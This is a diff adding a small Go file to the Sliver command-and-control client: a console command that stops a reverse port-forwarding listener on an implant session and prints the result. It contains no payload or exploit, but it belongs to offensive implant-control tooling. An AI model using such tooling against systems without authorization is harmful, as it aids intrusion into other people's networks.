+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+
+	"github.com/desertbit/grumble"
+)
+
+// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
+func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	listenerID := ctx.Flags.Int("id")
+	rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
+		Request: con.ActiveTarget.Request(ctx),
+		ID:      uint32(listenerID),
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	printStoppedRportFwdListener(rportfwdListener, con)
+}
+
+func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
+	if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
+		con.PrintErrorf("%s", rportfwdListener.Response.Err)
+		return
+	}
+	con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
+}